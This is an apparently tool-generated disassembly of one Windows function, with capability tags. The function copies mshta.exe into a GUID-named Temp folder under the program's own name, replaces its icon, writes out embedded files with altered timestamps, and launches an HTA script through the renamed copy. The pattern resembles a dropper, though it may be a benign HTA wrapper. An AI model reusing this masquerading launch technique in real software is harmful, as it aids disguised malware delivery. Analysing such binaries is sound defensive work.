Function at 0x140004910
Capabilities:
Check if file exists
Copy file
Create directory
Create process on windows
Delete file
Get common file path
Get file attributes
Get file size
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xf50]
mov eax, 0x1050
call fcn.1400200f0
sub rsp, rax
mov rax, qword [0x1400d7010]
xor rax, rsp
mov qword [rbp + 0xf40], rax
lea rax, [rbp + 0x4f0]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov edx, 0x801c
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, str.Temp
lea rcx, [rbp + 0x4f0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rdx, str.2E8DDE67_F981_4D6D_BE08_64AC05F4BB20
lea rcx, [rbp + 0x4f0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
xor r8d, r8d
lea rdx, [rbp + 0x4f0]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
lea r8, [rbp + 0x4f0]
mov edx, 0x104
lea rcx, [rbp + 0xb20]
call fcn.140010724
lea rdx, str.__icon__.ico
lea rcx, [rbp + 0xb20]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, [rbp + 0xb20]
call fcn.1400046b0
mov edx, 0x104
lea rcx, [rbp + 0xd30]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rdx, str.mshta.exe
lea rcx, [rbp + 0xd30]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
mov r8d, 0x104
lea rdx, [rbp + 0x910]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call fcn.1400011e0
mov rcx, rax
test rax, rax
je 0x1400053d4
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov r12, 0xffffffffffffffff
mov qword [rsp + 0x58], rax
lea rax, [rbp + 0x910]
cmp rax, 0x10000
lea rax, [rbp + 0x910]
jae 0x140004a66
movzx edx, ax
lea rcx, [rsp + 0x58]
call fcn.140005840
jmp 0x140004a8c
mov r8, r12
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140004a70
lea rdx, [rbp + 0x910]
lea rcx, [rsp + 0x58]
call fcn.140005ab0
mov rbx, qword [rsp + 0x58]
mov edx, 0x5c
mov rcx, rbx
call fcn.140007f5c
test rax, rax
je 0x140004b44
sub rax, rbx
sar rax, 1
test eax, eax
js 0x140004b44
mov r9d, dword [rbx - 0x10]
lea r8d, [rax + 1]
sub r9d, r8d
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x58]
call fcn.1400056a0
mov rdx, qword [rbp - 0x10]
add rbx, 0xffffffffffffffe8
lea rdi, [rdx - 0x18]
cmp rdi, rbx
je 0x140004b2b
cmp dword [rbx + 0x10], 0
jl 0x140004b1d
mov rax, qword [rbx]
cmp qword [rdi], rax
jne 0x140004b1d
mov rcx, rdi
call fcn.1400059c0
mov rsi, rax
mov ecx, r12d
lock xadd dword [rbx + 0x10], ecx
sub ecx, 1
jg 0x140004b12
mov rcx, qword [rbx]
mov rdx, rbx
mov r8, qword [rcx]
call qword [r8 + 8]
lea rax, [rsi + 0x18]
mov qword [rsp + 0x58], rax
jmp 0x140004b2b
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x58]
call fcn.140005ab0
mov eax, r12d
lock xadd dword [rdi + 0x10], eax
sub eax, 1
jg 0x140004b44
mov rcx, qword [rdi]
mov rdx, rdi
mov rax, qword [rcx]
call qword [rax + 8]
lea r8, [rbp + 0x4f0]
mov edx, 0x104
lea rcx, [rbp + 0x700]
call fcn.140010724
mov rdx, qword [rsp + 0x58]
lea rcx, [rbp + 0x700]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
xor r8d, r8d
lea rdx, [rbp + 0x700]
lea rcx, [rbp + 0xd30]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x140004b92
lea r13d, [rax + 1]
jmp 0x140005377
xor edx, edx
lea rcx, [rbp + 0x700]
lea r8d, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
xor edi, edi
mov rbx, rax
lea r13d, [rdi + 1]
test rax, rax
je 0x140004bec
lea rax, [rsp + 0x68]
mov dword [rsp + 0x68], r13d
lea r9, [0x1400046a0]
mov qword [rsp + 0x20], rax
lea r8, [0x140029f74]
mov word [0x1400d920c], di
lea edx, [rdi + 0xe]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnumResourceLanguagesW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor edx, edx
lea rcx, [rbp + 0x700]
call qword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov rsi, rax
test rax, rax
jne 0x140004c11
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r13d, eax
jmp 0x140005377
movzx r15d, word [0x1400d920c]
lea rcx, [rbp + 0xb20]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov r8d, r13d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, rax
cmp rax, r12
je 0x140004d93
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov ebx, eax
call fcn.140006718
mov rdi, rax
lea r9, [rbp - 0x18]
xor eax, eax
mov rdx, rdi
mov r8d, ebx
mov qword [rsp + 0x20], rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx ecx, word [rdi + 4]
dec ecx
imul r13d, ecx, 0xe
add r13d, 0x14
mov ecx, r13d
call fcn.140006718
movzx ecx, word [rdi]
mov r14, rax
mov word [rax], cx
movzx ecx, word [rdi + 2]
mov word [rax + 2], cx
movzx ecx, word [rdi + 4]
mov word [rax + 4], cx
xor eax, eax
mov ebx, eax
cmp ax, word [rdi + 4]
jae 0x140004d5b
nop dword [rax]
movsxd rcx, ebx
mov rdx, rcx
imul rcx, rcx, 0xe
shl rdx, 4
add rdx, rdi
add rcx, r14
movzx eax, byte [rdx + 6]
mov r9d, dword [rdx + 0xe]
mov r10d, dword [rdx + 0x12]
mov byte [rcx + 6], al
add r10, rdi
movzx eax, byte [rdx + 7]
mov byte [rcx + 7], al
movzx eax, byte [rdx + 8]
mov byte [rcx + 8], al
movzx eax, byte [rdx + 9]
mov byte [rcx + 9], al
movzx eax, word [rdx + 0xa]
mov word [rcx + 0xa], ax
movzx eax, word [rdx + 0xc]
mov word [rcx + 0xc], ax
mov eax, dword [rdx + 0xe]
mov edx, 3
mov dword [rcx + 0xe], eax
lea eax, [rbx + 1]
mov dword [rsp + 0x28], r9d
movzx r9d, r15w
movzx r8d, ax
mov word [rcx + 0x12], r8w
mov rcx, rsi
mov qword [rsp + 0x20], r10
call qword [sym.imp.KERNEL32.dll_UpdateResourceW]
test eax, eax
je 0x140004d8d
movzx eax, word [rdi + 4]
inc ebx
cmp ebx, eax
jl 0x140004cd0
xor r8d, r8d
mov dword [rsp + 0x28], r13d
movzx r9d, r15w
mov qword [rsp + 0x20], r14
mov rcx, rsi
lea edx, [r8 + 0xe]
call qword [sym.imp.KERNEL32.dll_UpdateResourceW]
test eax, eax
je 0x140004d8d
mov rcx, rdi
call fcn.140006260
mov rcx, r14
call fcn.140006260
xor edi, edi
lea r13d, [rdi + 1]
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
test eax, eax
jne 0x140004db0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r13d, eax
jmp 0x140005377
lea rcx, [rbp + 0xb20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xorps xmm0, xmm0
lea rcx, [rsp + 0x70]
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
call fcn.1400039b0
test eax, eax
je 0x140005377
mov rbx, qword [rbp - 0x28]
mov r14d, edi
nop word [rax + rax]
mov eax, dword [rbp - 0x80]
cmp r14d, eax
jge 0x1400051b5
test rbx, rbx
je 0x140004e26
cmp r14d, eax
jae 0x140004e26
mov rax, qword [rbx + 0x20]
mov edi, r14d
mov r8d, dword [rax + rdi*4]
add r8, qword [rbx]
jmp 0x140004e2c
mov r8, rdi
mov edi, r14d
lea r9, [rbp + 0x90]
mov edx, r14d
lea rcx, [rsp + 0x70]
call fcn.140003ac0
mov rbx, qword [rbp - 0x28]
test eax, eax
je 0x140005137
test rbx, rbx
je 0x140004e87
cmp r14d, dword [rbp - 0x80]
jae 0x140004e87
mov rax, qword [rbx + 0x20]
mov ecx, dword [rax + rdi*4]
add rcx, qword [rbx]
je 0x140004e87
movzx eax, word [rcx + 0x1c]
test ax, ax
je 0x140004e77
cmp byte [rax + rcx + 0x2d], 0x2f
je 0x140005121
test byte [rcx + 0x26], 0x10
je 0x140004e8e
inc r14d
xor edi, edi
jmp 0x140004e00
mov dword [rbp - 0x74], 0x18
mov r15d, dword [rbp + 0xc0]
mov ecx, r15d
call fcn.140006718
mov r9, qword [rbp + 0xc0]
lea rdx, [rbp + 0xe8]
mov r8, rax
mov qword [rbp - 8], rax
lea rcx, [rsp + 0x70]
call fcn.140004510
test eax, eax
je 0x14000511d
call fcn.1400011e0
test rax, rax
je 0x1400053c9
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x18]
add rax, 0x18
mov qword [rsp + 0x60], rax
lea rax, [rbp + 0x4f0]
cmp rax, 0x10000
lea rax, [rbp + 0x4f0]
jae 0x140004f09
movzx edx, ax
lea rcx, [rsp + 0x60]
call fcn.140005840
jmp 0x140004f2c
mov r8, r12
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140004f10
lea rdx, [rbp + 0x4f0]
lea rcx, [rsp + 0x60]
call fcn.140005ab0
lea rdx, [0x140029e54]
lea rcx, [rsp + 0x60]
call fcn.140005c40
lea rdx, [rbp + 0xe8]
lea rcx, [rsp + 0x60]
call fcn.1400053f0
mov rdi, qword [rsp + 0x60]
mov edx, 0x5c
mov rcx, rdi
call fcn.140007f5c
mov rsi, rax
test rax, rax
je 0x140005063
sub rsi, rdi
sar rsi, 1
test esi, esi
js 0x140005063
cmp esi, dword [rdi - 0x10]
jl 0x140004f8e
lea rcx, [rdi - 0x18]
call fcn.1400059c0
lea rbx, [rax + 0x18]
jmp 0x140005003
mov rcx, qword [rdi - 0x18]
test rcx, rcx
je 0x140004fa5
mov rax, qword [rcx]
call qword [rax + 0x20]
mov rcx, rax
test rax, rax
jne 0x140004fbf
call fcn.1400011e0
mov rcx, rax
mov rdx, qword [rax]
call qword [rdx + 0x20]
mov rcx, rax
test rax, rax
je 0x1400053c9
mov rax, qword [rcx]
mov r8d, 2
mov edx, esi
call qword [rax]
test rax, rax
je 0x1400053ea
cmp esi, dword [rax + 0xc]
lea rbx, [rax + 0x18]
jg 0x1400053df
movsxd rax, esi
mov dword [rbx - 0x10], esi
lea r8, [rax + rax]
xor eax, eax
mov word [r8 + rbx], ax
test r8, r8
je 0x140005003
mov rdx, rdi
mov rcx, rbx
call fcn.140008040
lea r8, [rbp + 0x4f0]
mov rax, rbx
sub r8, rbx
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140005024
add rax, 2
test ecx, ecx
jne 0x140005010
test edx, edx
je 0x140005044
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140005044
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
lea rdx, [rbx - 0x18]
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000505e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov rdi, qword [rsp + 0x60]
xor esi, esi
xor r9d, r9d
mov qword [rsp + 0x30], rsi
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov edx, 0x40000000
mov rcx, rdi
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, r12
je 0x14000512b
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x6c]
mov rsi, qword [rbp - 8]
mov r8d, r15d
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [rsp + 0x6c], r15d
jne 0x14000512e
mov rcx, rsi
call fcn.140006260
movabs rcx, 0x2b6109100
lea r9, [rbp - 0x20]
add rcx, qword [rbp + 0xa8]
xor r8d, r8d
imul rax, rcx, 0x989680
xor edx, edx
mov rcx, rbx
mov dword [rbp - 0x20], eax
shr rax, 0x20
mov dword [rbp - 0x1c], eax
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rdi - 0x18]
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000511d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov rbx, qword [rbp - 0x28]
inc r14d
xor edi, edi
jmp 0x140004e00
mov r13d, esi
lea rdx, [rdi - 0x18]
jmp 0x140005361
test rbx, rbx
je 0x1400051a9
cmp qword [rbp - 0x68], 0
je 0x1400051a9
mov rax, qword [rbp - 0x60]
test rax, rax
je 0x1400051a9
cmp dword [rbp - 0x7c], 1
jne 0x1400051a9
mov rcx, qword [rbp - 0x50]
xor edi, edi
mov qword [rbp - 0x28], rdi
mov rdx, qword [rbx]
call rax
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
mov rdx, qword [rbx + 0x20]
mov rcx, qword [rbp - 0x50]
call qword [rbp - 0x60]
xorps xmm0, xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
mov rdx, qword [rbx + 0x40]
mov rcx, qword [rbp - 0x50]
call qword [rbp - 0x60]
xorps xmm0, xmm0
mov rdx, rbx
movups xmmword [rbx + 0x40], xmm0
movups xmmword [rbx + 0x50], xmm0
mov rcx, qword [rbp - 0x50]
call qword [rbp - 0x60]
mov dword [rbp - 0x7c], edi
jmp 0x140005377
mov dword [rbp - 0x74], 0x18
jmp 0x140005377
test rbx, rbx
je 0x140005222
cmp qword [rbp - 0x68], 0
je 0x140005222
mov rax, qword [rbp - 0x60]
test rax, rax
je 0x140005222
cmp dword [rbp - 0x7c], 1
jne 0x140005222
mov rcx, qword [rbp - 0x50]
mov qword [rbp - 0x28], rdi
mov rdx, qword [rbx]
call rax
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
mov rdx, qword [rbx + 0x20]
mov rcx, qword [rbp - 0x50]
call qword [rbp - 0x60]
xorps xmm0, xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
mov rdx, qword [rbx + 0x40]
mov rcx, qword [rbp - 0x50]
call qword [rbp - 0x60]
xorps xmm0, xmm0
mov rdx, rbx
movups xmmword [rbx + 0x40], xmm0
movups xmmword [rbx + 0x50], xmm0
mov rcx, qword [rbp - 0x50]
call qword [rbp - 0x60]
mov dword [rbp - 0x7c], edi
jmp 0x140005229
mov dword [rbp - 0x74], 0x18
call fcn.1400011e0
test rax, rax
je 0x1400053d4
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x18]
add rax, 0x18
lea rbx, [0x140029f7c]
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x50]
cmp rbx, 0x10000
jae 0x140005268
movzx edx, bx
call fcn.140005840
jmp 0x140005273
mov r8d, r13d
mov rdx, rbx
call fcn.140005ab0
lea rdx, [rbp + 0x700]
lea rcx, [rsp + 0x50]
call fcn.140005c40
lea rdx, [0x140029f80]
lea rcx, [rsp + 0x50]
call fcn.140005c40
lea rdx, [rbp + 0x4f0]
lea rcx, [rsp + 0x50]
call fcn.140005c40
lea rdx, [0x140029e54]
lea rcx, [rsp + 0x50]
call fcn.140005c40
lea rdx, str.MT20230925.hta
lea rcx, [rsp + 0x50]
call fcn.140005c40
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140005c40
mov rbx, qword [rsp + 0x50]
xorps xmm0, xmm0
xor eax, eax
xor r9d, r9d
mov qword [rbp + 0x60], rax
xor r8d, r8d
mov qword [rbp + 0x80], rax
mov rdx, rbx
movups xmmword [rbp], xmm0
lea rax, [rbp + 0x70]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
movups xmmword [rbp + 0x40], xmm0
mov qword [rsp + 0x30], rdi
movups xmmword [rbp + 0x10], xmm0
mov dword [rsp + 0x28], 0x20
movups xmmword [rbp + 0x30], xmm0
mov dword [rsp + 0x20], r13d
movups xmmword [rbp + 0x20], xmm0
mov dword [rbp], 0x68
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 8], rdi
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x48], rdi
mov word [rbp + 0x42], di
mov qword [rbp + 0x10], rdi
mov dword [rbp + 0x3c], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
lea rdx, [rbx - 0x18]
mov r13d, edi
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140005377
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r12d
sub r12d, 1
jg 0x140005396
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [r8 + 8]
mov eax, r13d
mov rcx, qword [rbp + 0xf40]
xor rcx, rsp
call fcn.140006240
lea r11, [rsp + 0x1050]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, 0x80004005
call fcn.140001040
int3
mov ecx, 0x80004005
call fcn.140001040
int3
mov ecx, 0x80070057
call fcn.140001040
int3
call fcn.140005d90
int3